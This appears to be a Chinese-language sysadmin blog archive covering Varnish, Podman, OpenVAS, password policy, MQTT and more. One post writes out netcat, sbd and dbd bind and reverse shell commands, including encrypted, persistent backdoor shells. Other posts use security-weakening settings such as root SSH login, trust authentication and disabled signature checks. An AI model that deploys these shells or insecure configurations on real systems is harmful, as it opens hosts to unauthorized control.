顯示具有 system 標籤的文章。 顯示所有文章
顯示具有 system 標籤的文章。 顯示所有文章

2025/10/27

Varnish

varnish 是一種反向代理伺服器軟體,以記憶體方式存取 cache。透過 VCL (Varnish Configuration Language) 讓使用者設定 varnish。

安裝

在 Rocky Linux 8 安裝

dnf -y install varnish

設定

修改原本的設定檔

mv /etc/varnish/default.vcl /etc/varnish/default.vcl.bak
vi /etc/varnish/default.vcl

此設定檔只會 cache png 圖片檔案 7 天

backend default {
    .host = "127.0.0.1";  # Your app server
    .port = "8081";       # Your app server port
}

sub vcl_recv {
    # 僅對 GET 和 HEAD 快取
    if (req.method != "GET" && req.method != "HEAD") {
        return (pass);
    }

    # 僅快取 .png 圖檔,其餘請求不快取
    # 比對 URL 結尾為 .png
    if (req.url ~ "\.png$") {
        # cache
        return (hash);
    } else {
        # pass
        return (pass);
    }
}

sub vcl_backend_response {
    if (beresp.status == 200) {
        # Cache for 7 day
        set beresp.ttl = 7d;
    } else {
        set beresp.ttl = 0s;
    }
}

sub vcl_deliver {
    if (obj.hits > 0) {
        set resp.http.X-Cache = "HIT";
    } else {
        set resp.http.X-Cache = "MISS";
    }
}

啟動

systemctl start varnish
systemctl enable varnish

修改 disk cache

Varnish 無法永久將 cache 儲存到 disk (decprecated),但可透過 memory mapping,將記憶體的資料存放到 file

sudo systemctl edit varnish

修改 service

[Service]
ExecStart=
ExecStart=/usr/sbin/varnishd \
  -a :6081 \
  -f /etc/varnish/default.vcl \
  -s file,/var/lib/varnish/varnish_storage.bin,2G

確認 file folder 存在

sudo mkdir -p /var/lib/varnish
sudo chown varnish: /var/lib/varnish

restart Varnish

# restart varnish
sudo systemctl daemon-reexec
sudo systemctl restart varnish

2025/9/15

Container vs VM

Container 是類似 docker 這樣建構在某個 OS 的虛擬機器,VM 是類似 Hypervisor VMWare 建立的虛擬機器。

VM

優點:

  • 從硬體開始就虛擬化,機器獨立

  • 可在不同 VM 安裝不同的 OS

  • 不同應用程式內的相關套件耦合,不會互相影響

  • 適合比較大型,需要很多不同的整合服務的應用

缺點:

  • 耗用的硬碟空間較多,使用的硬體資源比較高

  • 啟動服務需要比較長的時間

Container

優點:

  • 檔案比較小

  • 啟動速度快

  • 耗用系統資源比較少

  • 容易更新

  • 通常以應用程式為單位

缺點:

  • 主要依賴 Host OS的操作,無法同時安裝不同的 OS

  • container 之間的元件部署比較複雜

2022/11/7

DoS 類型

DoS: Denial-of-Service 阻斷服務攻擊,就是運用各種方法,讓主機無法正常提供服務。為了增加追蹤攻擊來源,以及解決攻擊的難度,目前的 DoS 都已經升級為 DDoS: Distributed DoS 分散式阻斷服務攻擊,就是同時使用多個被感染的電腦或設備,向目標系統進行 DoS 攻擊。

以攻擊方法分類

前三種會造成比較長時間的影響,其他的攻擊,一般來說可以很快恢復正常。

容量耗盡

傳送大量請求資料,讓 server 不斷地配置記憶體,當記憶體用完,就無法再處理新的連線。以沒有用的資料塞滿硬碟、 Buffer 也是類似的方法。

系統故障

某些系統在接收特定字串時,會造成緩衝區溢位而當機,需要重新開機才能恢復服務。這種攻擊比較少見。

帳號耗盡

線上直接猜帳號密碼,但現在很多系統會鎖定密碼猜錯的次數。因應這種機制,攻擊方刻意讓帳號被鎖定,導致合法的使用者無法登入系統。

頻寬耗盡

以大量沒有用的封包佔滿頻寬,讓需要正常服務的使用者,無法正常發送資料給 server,server 也無法將結果回傳給使用者

CPU耗盡

傳送需要大量運算的請求,讓 CPU Loading 增加,而無法處理正常的請求。

連線資源耗盡

某些服務有連線數量限制,同一時間內,只能提供有限數量的服務,只要有人佔住連線,沒有釋放給其他人使用,其他人就無法使用到服務。就像是訂票系統塞爆的狀況。

挾持網路

變更網路設定,造成封包傳遞異常。例如:ARP spoofing 欺騙、IP address spoofing IP位址欺騙、假冒 WiFi AP

以 OSI 分類

Layer 3

Smurf 攻擊、ICMP Flood、IP/ICMP Fragmentation Attack 碎片攻擊(Teardrop Attack)

Layer 4

TCP SYN Flood、UDP Flood、TCP 連線耗盡

Layer 7

HTTP 加密攻擊

References

DoS攻擊種類 - IT閱讀

Ddos攻擊方式分類

什麼是 DDoS 攻擊? | NordVPN

2022/10/31

nc, sbd, dbd

nc: NetCat

支援 TCP 與 UDP,可當作 server 或 client,也被稱為 TCP/IP swiss army knife。如果在某電腦執行 nc,就可以遠端遙控該電腦、讀取或下載檔案。

在 kali linux,這三個指令都是 nc

nc
nc.traditional
netcat

參數

  • -p port: 本地端 port number

  • -l: listen mode

  • -n: 使用 IP,不用 hostname

  • -t: telnet

  • -u: UDP mode

  • -v: verbose output,可重複兩次 -vv 有更詳細的 output

  • -w sec: 連線 timeout 秒數

  • -q sec: 收到 EOF 後,斷線秒數

  • -z: scan mode

port scan

# 測試 192.168.1.1 的 1~1024 port
nc -znvw2 192.168.1.1 1-1024

# 測試 UDP port
nc -uznvw2 192.168.1.1 1-1024

telnet

# 等同 telnet 192.168.1.1 80
nc -nvv 192.168.1.1 80

# 連線到 TCP 80 並發送 get-req.txt 文字內容# get-req.txt
tee get-req.txt << EOF
GET http://www.google.com/
Host: www.google.com
EOF
nc -vv www.google.com 80 < get-req.txt

# listen TCP port 80,收到連線就發送檔案內容
nc -l -p 80 < get-req.txt

# 簡易 IM,另一端可用 nc 或 telnet,連線後,可互相傳遞文字
nc -ltp 80
nc -vv localhost 80

remote sh

被控端先啟動待命,操控端連線過去

# listen TCP 8080,轉送到 bash
nc -lp 8080 -e /bin/bash
nc -vv localhost 8080

反向,操控端先啟動待命,等待被控端連線進去後,讓操控端操作

nc -lp 80

nc 192.168.1.1 80 -e cmd.exe

自動批次處理

將要執行的指令存到 cmd.txt,一次發送過去

nc -lp 80 < cmd.txt

file transfer

上傳檔案

# 先在接收方啟動 server端
nc -l -p 8080 > filename

# 再在傳送方啟動 client 端傳送資料
nc 192.168.1.157 8080 < filename

可相反下載檔案

# 先在傳送方啟動 server 端
nc -l -p 8080 < filename

# 再在接收方啟動 client 端
nc 192.168.1.1 8080 > filename

記錄

# 無窮迴圈,記錄連線 log,直到 Ctrl+C
while true; do nc -l -p 80 >> log.txt; done

sbd

是 Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP

remote sh

# 被控端
sbd -l -p 8080 -e bash -v -n

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080

加上 -k secret 密碼參數,作為加密的密碼

# 被控端
sbd -l -p 8080 -e bash -v -n -k test

# 遙控端,可執行 bash shell command,並取得 output 結果
sbd localhost 8080 -k test

dbd

Netcat-clone,增強加密的部分,支援 AES-CBC-128 + HMAC-SHA1,只支援 TCP。跟 sbd 類似

參數

  • -r n: 無限 respawn/reconnect,每次連線會暫停 n seconds。-r0 用在 re-listen after disconnect

  • -c on|off: 是否要使用內建的 AES-CBC-128 + HMAC-SHA1 加密

  • -k secret: 密碼

  • -H on|off: highlight incoming data

  • -D on|off: fork and run in background (daemonize)

dbd -l -p 8080 -v -H on

dbd -r 10 -v -H on -e bash localhost 8080

References

kali/03使用 sbd 及 dbd 创建系统安全后门.md at master · Yehnn/kali · GitHub

kali***測試(二)sbd,dbd和PowerSploit的介紹 - 台部落

kali sbd

kali dbd

kali netcat

2022/10/17

Install openvas in Kali Linux

sshd

Kali Linux 安裝完成後,需要以安裝過程產生的帳號登入。如果用 sudo 指令,會一直詢問密碼,可用以下方式設定 sudo 不詢問密碼

sudo dpkg-reconfigure kali-grant-root

在畫面中選擇 Enable password-less privilege escalation

設定開機自動登入 LightDM

ref: 如何讓Linux作業系統自動登入桌面環境,而不需輸入帳號密碼? | MagicLen

sudo vi /etc/lightdm/lightdm.conf

[Seat:*]            
autologin-guest=false
autologin-user=maxkit
autologin-user-timeout=0

另外也還無法遠端連線到這台機器,要安裝 ssh server

sudo apt-get install openssh-server

sudo update-rc.d -f ssh remove
sudo update-rc.d -f ssh defaults

sudo service ssh restart

修改 /etc/ssh/sshd_config

PermitRootLogin yes

中文輸入法套件

sudo apt install fcitx5 fcitx5-chewing im-config

openvas

#sudo apt update && apt upgrade -y
sudo apt install locate curl wget
# install openvas
sudo apt install gvm*
# check postgresql、redis-server 及 gvmd 是否有啟動
sudo service --status-all 
# start and enable redis-server
sudo systemctl enable redis-server
sudo systemctl start redis-server
# start and enable postgresql
sudo systemctl enable postgresql
sudo systemctl start postgresql
# 安裝 openvas,這個步驟會跑很久
sudo gvm-setup
# check installation
sudo gvm-check-setup
## 檢查發現 redis 有問題,被要求要執行這一行指令
#sudo systemctl start redis-server@openvas.service
#sudo systemctl enable redis-server@openvas.service

# gvmd
sudo systemctl enable gvmd
sudo systemctl start gvmd

修改設定 --listen=0.0.0.0

sudo vi /lib/systemd/system/greenbone-security-assistant.service

#ExecStart=/usr/sbin/gsad --listen=127.0.0.1 --port=9392
ExecStart=/usr/sbin/gsad --listen=0.0.0.0 --port=9392 

修改 redis 設定

sudo vi /etc/redis/redis.conf
# 把這兩行 uncomment
unixsocket /var/run/redis/redis.sock
unixsocketperm 700

啟動

# 啟動 OpenVAS伺服器
sudo gvm-start
# 停止
sudo gvm-stop

建立帳號

sudo runuser -u _gvm -- gvmd --user=admin --new-password=newpassword
#sudo runuser -u _gvm -- gvmd --create-user=<新帳號> --password=<設定密碼>

網頁

https://192.168.1.19:9392/

References

雅技資訊日誌: 在Kali 2020.3 精簡環境安裝OpenVAS

Installing OpenVAS on Kali Linux - GeeksforGeeks

[Kali] 開啟 Kali Linux 上的 SSH server 服務 | EPH 的程式日記

打造 Kali Linux 2021 中文桌面環境(字型、中文輸入法) - Hack543

雅技資訊日誌: Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明

雅技資訊日誌: Kali Linux 滲透測試工具(第3版) 指令清單及勘誤表

2022/10/3

CentOS 7 帳號的密碼規則

密碼定期更新

在 /etc/login.defs 可設定定期更新的策略,以下是 CentOS 7 裡面該設定檔的預設值

PASS_MAX_DAYS    99999   # 密碼到期時間
PASS_MIN_DAYS    0       # 初始密碼更改時間
PASS_MIN_LEN    5       # 密碼最小長度
PASS_WARN_AGE    7       # 密碼過期提示時間

修改設定檔後,只會影響到新的帳號,如果要修改現有帳號的規則,要使用 chage 指令

-m:最少必須相隔幾天才能改變密碼,0 代表任何時候都可以更改密碼。
-M:最多必須相隔幾天才能改變密碼
-w:用戶密碼到期前,提前收到警告信息的天數。
-E:帳號到期的日期。過了這天,此帳號將不可用。
-d:上一次更改的日期。
-I:停滯時期。如果一個密碼已過期這些天,那麼此帳號將無法使用。
-l:列印當前的設置。由非特權用戶來確定他們的密碼或帳號何時過期。

example

# 查看 root 的設定
chage -l root

# 設定90 天後過期
chage -M 90 root

# 設定今天後 180 天的那一天,密碼過期
chage -E $(date -d +180days +%Y-%m-%d)

密碼複雜度

透過 PAM pwquality 模組提供這個功能,該模組替換了 CentOS6 的 pam_cracklib

相關的參數有

  • retry=N:定義登入/修改密碼失敗時,可以重試的次數;
  • difok=N:定義新密碼中必須有幾個字元要與舊密碼不同
  • minlen=N:定義使用者密碼的最小長度;
  • dcredit=N:定義使用者密碼中最多包含多少個數字;如果是負數(ex:-1) 代表至少要有一個數字
  • ucredit=N:定義使用者密碼中最多包含多少個大寫字母;如果是負數(ex:-1) 代表至少要有一個大寫字母
  • lcredit=N:定義使用者密碼中最多包含多少個小寫字母;如果是負數(ex:-1) 代表至少要有一個小寫字母
  • ocredit=N:定義使用者密碼中最多包含多少個特殊字元(除數字、字母之外);如果是負數(ex:-1) 代表至少要有一個特殊字元
  • enforce_for_root 確保即使是root使用者設定密碼,也應強制執行複雜性策略
  • minclass:最少要有幾類字元
  • maxrepeat:允許連續相同的字元的最大數目
  • maxclassrepeat:允許連續同一類的字元的最大數目

相關設定檔有兩個

/etc/pam.d/system-auth
/etc/security/pwquality.conf

可直接修改/etc/pam.d/system-auth,寫在這一行的後面,也就是當作該 module 的參數

password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type=
# 最少 8 位, ucredit=0 不需要大寫字母, ocredit=0 不需要符號
password    requisite     pam_pwquality.so try_first_pass local_users_only retry=3 authtok_type= minlen=8 lcredit=-1 ucredit=0 dcredit=-1 ocredit=0 enforce_for_root

比較推薦的方法,是修改設定檔 /etc/security/pwquality.conf

minlen = 8
dcredit=-1
ucredit=0
lcredit=-1
ocredit=0
enforce_for_root

可查看 manual,有設定的說明

man pam_pwquality

另外也可下指令修改 /etc/security/pwquality.conf

# 最小長度
authconfig --passminlen=8 --update
grep "^minlen" /etc/security/pwquality.conf

# 設置允許連續同一類的字元的最大數目
authconfig --passmaxclassrepeat=6 --update
grep "^maxclassrepeat" /etc/security/pwquality.conf

# 至少需要一個小寫字元
authconfig --enablereqlower --update
grep "^lcredit" /etc/security/pwquality.conf

# 至少需要一個大寫字元
authconfig --enablerequpper --update
grep "^ucredit" /etc/security/pwquality.conf

# 至少需要一個數字
authconfig --enablereqdigit --update
grep "^dcredit" /etc/security/pwquality.conf

# 至少一個特殊符號
authconfig --enablereqother --update
grep "^ocredit" /etc/security/pwquality.conf

References

CentOS7/Red-Hat密码更换周期和复杂度设置 | syxdevcode博客

CentOS 設置密碼策略 - 碼上快樂

CentOS作業系統密碼複雜度策略設定_其它_程式人生

在CentOS 7上实施密码复杂性策略_allway2的博客-CSDN博客_authtok_type

LINUX設定密碼複雜度的檔案system auth,具體需要怎麼改

Linux從零開始(11/30): 在CentOS設定密碼複雜度規則 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天

Linux 上密碼相關設定 | Chia-An Lee

2022/7/25

Podman

Redhat 8 開始,提供了 podman,取代 docker,podman 是一種 daemonless container engine,使用時,可直接 alias docker=podman 完全取代 docker 的指令。

docker daemon 有個問題,如果 daemon 不存在,所有的 container 都無法運作。且 docker daemon 是所有 container process 的 parent process,所有 docker 的指令,都必須使用有 root 權限的使用者。

podman 直接與 image registry 溝通,而不是透過 daemon process 處理。 buildah 替代 Docker build,而跟 Image Registry 的溝通則被 skopeo取代。跟其他的 container 一樣,podman 是透過 OCI compliant 的 container runtime (runc, crun, runv) 作為 OS 的介面,執行 containers。

安裝

就直接用 dnf 安裝

dnf module install container-tools -y

以下是一些常用的指令

# search httpd image
podman search httpd --filter=is-official

# pull image
podman pull docker.io/library/httpd

# run httpd image
# -d 代表要列印 container ID
# -t 代表要加上 peudo-tty,才能用 interactive shell 執行任意指令
podman run -dt -name httpd1 -p 8080:80/tcp docker.io/library/httpd

# list images
podman images

# list process
podman ps

# start/stop
podman start httpd1
podman stop httpd1

# log
podman logs -l

service

因 podman 沒有 daemon process,故開機啟動時,無法像 docker 一樣,可以在 docker daemon process 啟動時,同時啟動 container。這時候必須要透過 system service 處理系統開機的自動啟動。

vi /etc/systemd/system/httpd1.service

[Unit]
Description=Graphite Docker Container
[Service]
Type=simple
TimeoutStartSec=0
Restart=on-failure
RestartSec=30s
ExecStart=/usr/bin/podman start -a httpd1
SyslogIdentifier=graphite
ExecStop=/usr/bin/podman stop -t 10 httpd1
[Install]
WantedBy=multi-user.target

然後用 systemd 啟動

systemctl daemon-reload

systemctl enable httpd1

systemctl start httpd1

References

Podman 淺談 - 為何你應該選擇 Podman 而不是 Docker? - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天

Podman 初次体验 | Yiran's Blog

Podman 容器设置开机启动 | 码农家园

用systemd设置podman 生成的容器开机自启动_lggirls的博客-CSDN博客_podman systemd启动

2022/7/11

如何建立 CentOS 7 Local Repo

安裝 httpd

yum install httpd

建立 local repo

yum install createrepo yum-utils

mkdir -p /var/www/html/repos/centos/{base,centosplus,extras,updates}

用 reposync 同步 packages

reposync -g -l -d -m --repoid=base --newest-only --download-metadata --download_path=/var/www/html/repos/centos/
reposync -g -l -d -m --repoid=centosplus --newest-only --download-metadata --download_path=/var/www/html/repos/centos/
reposync -g -l -d -m --repoid=extras --newest-only --download-metadata --download_path=/var/www/html/repos/centos/
reposync -g -l -d -m --repoid=updates --newest-only --download-metadata --download_path=/var/www/html/repos/centos/

vi /etc/cron.weekly/update-centos-repo

#!/bin/bash
##specify all local repositories in a single variable
LOCAL_REPOS="base centosplus extras updates epel"
##a loop to update repos one at a time 
for REPO in ${LOCAL_REPOS}; do
    reposync -g -l -d -m --repoid=$REPO --newest-only --download-metadata --download_path=/var/www/html/repos/centos/
    #createrepo -g comps.xml /var/www/html/repos/centos/$REPO/
    createrepo --update /var/www/html/repos/centos/$REPO/
done

啟動 script

chmod 755 /etc/cron.weekly/update-centos-repo

設定 Local Repo

vim /etc/yum.repos.d/local-repos.repo

[local-base]
name=CentOS Base
baseurl=http://repos.server.ip/repos/centos/base/
gpgcheck=0
enabled=1

[local-centosplus]
name=CentOS CentOSPlus
baseurl=http://repos.server.ip/repos/centos/centosplus/
gpgcheck=0
enabled=1

[local-extras]
name=CentOS Extras
baseurl=http://repos.server.ip/repos/centos/extras/
gpgcheck=0
enabled=1

[local-updates]
name=CentOS Updates
baseurl=http://repos.server.ip/repos/centos/updates/
gpgcheck=0
enabled=1

測試

yum repolist

References

How to Setup Local HTTP Yum Repository on CentOS 7

建立 local http yum repository on Centos 7

Setup local YUM/DNF repo server Rocky Linux 8 [Step-by-Step] | GoLinuxCloud

Create a Centos Repository Mirror – UNIX fu

2022/6/27

安裝 project-open

project-open 有提供 docker image,也可以直接安裝,以下記錄安裝 project-open 的過程。

CentOS7

參考網頁

http://www.project-open.com/en/install-rhel-7

  1. system tools

    timedatectl set-timezone Asia/Taipei
    
    yum -y install system-config-*
    
    yum -y group install "System Administration Tools" --setopt=group_package_types=mandatory,default,optional
  2. KDE Plasma Workspaces Install "KDE Plasma Workspaces" Graphical Environment GNOME 3 on CentOS 7 has a number of important issues, so the ]po[ team recommends to switch to KDE:

    #yum -y group install "KDE Plasma Workspaces" "X Window System"
    #yum -y group install "Graphical Administration Tools" --setopt=group_package_types=mandatory,default,optional
    yum -y install net-tools setools policycoreutils-python
    #ln -sf /lib/systemd/system/graphical.target /etc/systemd/system/default.target
  3. Development Tools

    yum -y group install "Development Tools" --setopt=group_package_types=mandatory,default,optional
    yum -y group install "Compatibility Libraries"
    yum -y install vim emacs-nox
    yum -y install cvs svn git wget libXaw expat expat-devel pango graphviz graphviz-devel ImageMagick
    yum -y install libdbi-dbd-pgsql openldap-clients openldap-devel mlocate sharutils psmisc
  4. Perl Libraries

    yum -y install graphviz-perl perl perl-Archive-Tar perl-Archive-Zip perl-CGI perl-CGI-Session
    yum -y install perl-CPAN perl-CPAN-Changes perl-CPAN-Meta perl-CPAN-Meta-Requirements perl-CPAN-Meta-YAML
    yum -y install perl-Carp perl-Compress-Raw-Bzip2 perl-Crypt-DES perl-Crypt-OpenSSL-RSA
    yum -y install perl-Crypt-OpenSSL-Random perl-Crypt-PasswdMD5 perl-Crypt-SSLeay perl-DBD-Pg
    yum -y install perl-DBD-Pg-tests perl-DBI perl-Data-Dumper perl-DateTime perl-Digest-MD5
    yum -y install perl-Encode perl-File-Slurp perl-GSSAPI perl-IO-Socket-IP perl-IO-Socket-SSL
    yum -y install perl-JSON perl-LDAP perl-LWP-MediaTypes perl-LWP-Protocol-https perl-Net-DNS
    yum -y install perl-Net-HTTP perl-Net-SSLeay perl-Params-Check perl-Params-Util perl-Params-Validate
    yum -y install perl-Socket perl-TimeDate perl-WWW-Curl perl-YAML perl-core perl-devel perl-gettext
    yum -y install perl-libs perl-libwww-perl rrdtool-perl perl-YAML
  5. OpenOffce/LibreOffice

    yum -y install libreoffice libreoffice-headless
  6. 將 projop 加入 wheel

    vi /etc/group
    
    wheel:x:10:projop
  7. 修改 hosts

    vi /etc/hosts
    
    127.0.0.1 localhost
    10.140.0.3 po
  8. download files

    wget http://sourceforge.net/projects/project-open/files/project-open/Support%20Files/naviserver-4.99.8.tgz 
    wget http://sourceforge.net/projects/project-open/files/project-open/Support%20Files/web_projop-aux-files.5.0.0.0.0.tgz 
    wget http://sourceforge.net/projects/project-open/files/project-open/V5.0/update/project-open-Update-5.0.3.0.0.tgz 
  9. po installer

    groupadd projop                                                              # create a group called "projop"
    mkdir /web/                                                                  # super-directory for all Web servers /web/ by default
    useradd -d /web/projop -g projop projop                                      # create user "projop" with home directory /web/projop
    cd /web/projop/
    tar xzf /usr/src/web_projop-aux-files.5.0.0.0.0.tgz                          # extract auxillary files
    tar xzf /usr/src/project-open-Update-5.0.3.0.0.tgz                           # extract the ]po[ product source code - latest
    chown -R projop:projop /web/projop                                           # set ownership to all files
    
    cd /usr/local
    tar xzf /usr/src/naviserver-4.99.8.tgz                                       # extract the NaviServer binary 64 bit
  10. Setup PostgreSQL 9.2

    yum -y install postgresql postgresql-server postgresql-contrib postgresql-devel postgresql-odbc postgresql-docs
    
    systemctl enable postgresql

    init PostgreSQL

    /usr/bin/postgresql-setup initdb
    systemctl start postgresql
  11. Database

    su - postgres -c "createuser -s projop"                             # database user "projop" with admin rights
    su - projop -c "createdb --encoding=utf8 --owner=projop projop"     # new database
    su - projop -c "createlang plpgsql projop"                          # enable PlPg/SQL, may already be installed
  12. verify

    su - projop -c psql
    
    # Enter "\q" or press Ctrl-D to exit

    匯入 DB sql

    # import db
    
    su - projop
    psql -f ~/pg_dump.5.0.3.0.0.sql > import.log 2>&1
    
    # verify
    
    psql -c "select count(*) from users"
  13. 修改 postgresql.conf

    vi /var/lib/pgsql/data/postgresql.conf
    
    listen_addresses = '*'
    max_connections = 100
    
    #shared_buffers = 512MB
    shared_buffers = 256MB
    
    work_mem = 64MB
    maintenance_work_mem = 16MB
    
    checkpoint_segments = 64
    
    log_timezone = 'Asia/Taipei'
    timezone = 'Asia/Taipei'
  14. update pg_hba.conf

    vi /var/lib/pgsql/data/pg_hba.conf
    
    local   all             all                                     peer
    host    all             all             127.0.0.1/32            trust
    host    all             all             ::1/128                 ident
  15. update po config

    vi /web/projop/etc/config.tcl
    
    set httpport            8000
    set httpsport           8443
    
    set servername   "maxkit \]project-open\[ Server"
    set homedir      /usr/local/ns
  16. manual startup

    /usr/local/ns/bin/nsd -f -t /web/projop/etc/config.tcl -u projop -g projop
  17. service

    vi /usr/lib/systemd/system/projop.service
    
    [Unit]
    Description=NaviServer Web Server as user projop
    After=postgresql.service network.target
    Wants=postgresql.service
    
    [Service]
    Type=forking
    PIDFile=/web/projop/log/nsd.pid
    
    ExecStartPre=/usr/bin/rm -f /web/projop/log/nsd.pid
    ExecStart=/usr/local/ns/bin/nsd -t /web/projop/etc/config.tcl -u projop -g projop &
    ExecReload=/bin/kill -s HUP $MAINPID
    ExecStop=/bin/kill -s 9 $MAINPID
    
    Restart=always
    
    # Restart=on-abort
    
    # Restart=on-abnormal
    
    KillMode=process
    
    [Install]
    WantedBy=multi-user.target
    # init service
    chmod 755 /usr/lib/systemd/system/projop.service
    systemctl daemon-reload
    systemctl enable projop.service
    systemctl start projop.service
    
    tail -f /web/projop/log/error.log
  18. nginx

    yum -y install epel-release
    yum -y install nginx
    vi /etc/nginx/nginx.conf
    
    user nginx;
    worker_processes auto;
    error_log /var/log/nginx/error.log;
    pid /run/nginx.pid;
    
    events {
       worker_connections 1024;
    }
    
    http {
       log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                         '$status $body_bytes_sent "$http_referer" '
                         '"$http_user_agent" "$http_x_forwarded_for"';
       access_log          /var/log/nginx/access.log  main;
       sendfile            on;
       tcp_nopush          on;
       tcp_nodelay         on;
       keepalive_timeout   601;
       types_hash_max_size 2048;
       default_type        application/octet-stream;
       include             /etc/nginx/mime.types;
       include             /etc/nginx/conf.d/*.conf;
    
       server {
           listen 80;
           location / {
               # pass all communication to NaviServer on port 8000
               proxy_pass           http://127.0.0.1:8000;
               # add information about the original IP
               proxy_set_header     X-Forwarded-For $remote_addr;
               # upload files to file storage up to 1G
               client_max_body_size 1024M;
           }
    
           # error_page    500 502 503 504 /err/50x.html;
           # error_page    404             /err/404.html;
           # location /err/ {
           #     root /usr/share/nginx/html;
           # }
    
       }
    
    }

    先用 port 80 瀏覽一次網頁

    cat /var/log/audit/audit.log | grep nginx | grep denied | audit2allow -M mynginx
    semodule -i mynginx.pp

Add Swap to CentOS 7

ref: How to Add Swap Space on CentOS 7 - Google Cloud

```
# 1G

dd if=/dev/zero of=/swapfile bs=1024 count=1048576

# 2G

dd if=/dev/zero of=/swapfile bs=1024 count=2097152

# 4G

dd if=/dev/zero of=/swapfile bs=1024 count=4194304

chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile

swapon --show

```

```
vi /etc/fstab

/swapfile swap swap defaults 0 0

```

Docker

ref: http://www.project-open.com/en/install-docker-centos7

  1. CentOS 7安裝 docker

    yum install -y yum-utils device-mapper-persistent-data lvm2
    yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
    yum install docker-ce
    
    systemctl enable docker
    systemctl start docker
  2. 下載 project-open

    mkdir -p download/project-open
    
    cd download/project-open
    
    wget --no-check-certificate https://sourceforge.net/projects/project-open/files/project-open/V5.0/older/project-open-Docker-Community-5.0.2.4.0.beta5.zip/download -O project-open-Docker-Community-5.0.2.4.0.beta5.zip
    
    unzip project-open-Docker-Community-5.0.2.4.0.beta5.zip
    cd po5-centos7
  3. 修改 setup line 24

    if ! wget --no-check-certificate -nv "$url" ; then
  4. 安裝

    ./setup
    ./build
    
    docker images
    
    REPOSITORY TAG IMAGE ID CREATED SIZE
    local/po5-centos7 latest acc4736e6a0c 7 minutes ago 1.81GB
  5. 啟動

    ./run
    
    docker start po5_centos7
    docker update --restart unless-stopped po5_centos7

2022/6/6

acmesh

因原本使用的 Let's Encrypt 提供的 certbot,在舊版的 CentOS 7 會遇到 python 及 kernel 更新的問題,現在改用 GitHub - acmesh-official/acme.sh: A pure Unix shell script implementing ACME client protocol 做免費的 SSL 憑證。

安裝,會安裝到 /root/.acme.sh

curl https://get.acme.sh | sh -s email=charley@maxkit.com.tw

設定自動更新 acme.sh

acme.sh --upgrade --auto-upgrade

在 crontab 可發現自動更新的 script

# crontab -e
59 0 * * * "/root/.acme.sh"/acme.sh --cron --home "/root/.acme.sh" > /dev/null

申請 zone.larzio.com 的憑證

acme.sh --issue -d zone.larzio.com --webroot /var/www/html/

申請成功後,憑證相關檔案會在

  • 憑證 /root/.acme.sh/zone.larzio.com/zone.larzio.com.cer

  • key /root/.acme.sh/zone.larzio.com/zone.larzio.com.key

  • intermediate ca cert /root/.acme.sh/zone.larzio.com/ca.cer

  • full chain certs /root/.acme.sh/zone.larzio.com/fullchain.cer

將憑證複製給 haproxy 使用: /etc/haproxy/ssl/server.pem

acme.sh --installcert -d zone.larzio.com \
 --cert-file /etc/haproxy/ssl/zone.larzio.com.cer \
 --key-file /etc/haproxy/ssl/zone.larzio.com.key \
 --fullchain-file /etc/haproxy/ssl/zone.larzio.com.fullchain.cer \
 --reloadcmd "cat /etc/haproxy/ssl/zone.larzio.com.cer /etc/haproxy/ssl/zone.larzio.com.key | tee /etc/haproxy/ssl/server.pem"

References

HAProxy 實現 h2 到 h2c 的解析 - 台部落

Centos7 下使用acme.sh以DNS方式申請免費SSL證書 - 台部落

2022/2/14

Mosquitto MQTT in CentOS 7

MQTT: Message Queuing Telemetry Transport,是 M2M (machine-to-machine) 訊息傳遞 protocol,設計用在 IoT (Internet of Things) 的設備之間,互相傳遞訊息。client 之間,不因訊息傳遞需求,而要互相以 mesh 方式連接在一起,而是透過 MQTT Broker (在 MQTT 稱為 broker 不是 server) 代理互傳訊息,發送與接收訊息時,需要指定 topic,也就是透過 topic 進行訊息分類,讓 client 自行決定要處理哪些 topic 的訊息。

Mosquitto 是開放常用的 MQTT broker,以下了解如何在 CentOS7 安裝與測試 Mosquitto。

安裝

yum -y install epel-release
yum -y install mosquitto

#啟動
systemctl enable mosquitto
systemctl start mosquitto

安裝後可直接啟動並測試使用

用一個 terminal 執行

mosquitto_sub -h localhost -t test

另一個 terminal 執行

mosquitto_pub -h localhost -t test -m "hello world"

第一個 terminal 就能收到 "hello world"

Topic

MQ Telemetry Transport

Topic 是以階層式的概念定義,每個階層用 / 左斜線區隔。

ex: sensors/COMPUTER_NAME/temperature/HARDDRIVE_NAME

訊息的 subscriber 與 publisher 都需要指定 topic,subscriber 可在 topic 使用兩個 wildcards 符號

  • +

    代表某一個階層的全部

    ex: sensors/+/temperature/+ 就表示要取得所有 COMPUTER_NAME 以及 HARDDRIVE_NAME 的溫度

    ex: "a/b/c/d" 可用以下 pattern

    a/b/c/d
    +/b/c/d
    a/+/c/d
    a/+/+/d
    +/+/+/+
  • #

    代表後面所有的階層

    ex: "a/b/c/d" 可用以下 pattern

    a/b/c/d
    #
    a/#
    a/b/#
    +/b/c/#

QoS

[ Protocol ] 認識 MQTT

  • 0

    • at most once 最多只會傳送一次
    • 訊息送出後,就不管
    • 發送速度快
    • 有可能會遺失訊息
  • 1

    • at least once 至少傳一次
    • 當 broker 收到 publisher 訊息後,會回應 PUBACK,確認有收到要發布的訊息
    • 如果 publisher 沒有收到 PUBACK,會自動重傳
    • subscriber 有可能會收到重覆的訊息
  • 2

    • exactly once 只會傳送一次
    • broker 收到 publisher 訊息後,會回應 PUREC,確認有收到要發布的訊息
    • publisher 收到 PUREC 後,會再傳送 PUBREL 給 broker,告訴 broker 可以將訊息發布出去
    • broker 會把訊息傳給有訂閱該 topic 的 subscribers,傳送完成後,會回應 PUBCOMP 給 publisher,通知訊息已經發布完成
    • subscriber 不會收到重覆的訊息

密碼

mosquitto_passwd -c /etc/mosquitto/passwd test

修改 /etc/mosquitto/mosquitto.conf

allow_anonymous false
password_file /etc/mosquitto/passwd

直接發布會被拒絕

mosquitto_pub -h localhost -t "test" -m "hello world"
Connection error: Connection Refused: not authorised.

要加上帳號/密碼

mosquitto_pub -h localhost -t "test" -m "hello world" -u test -P password

TLS

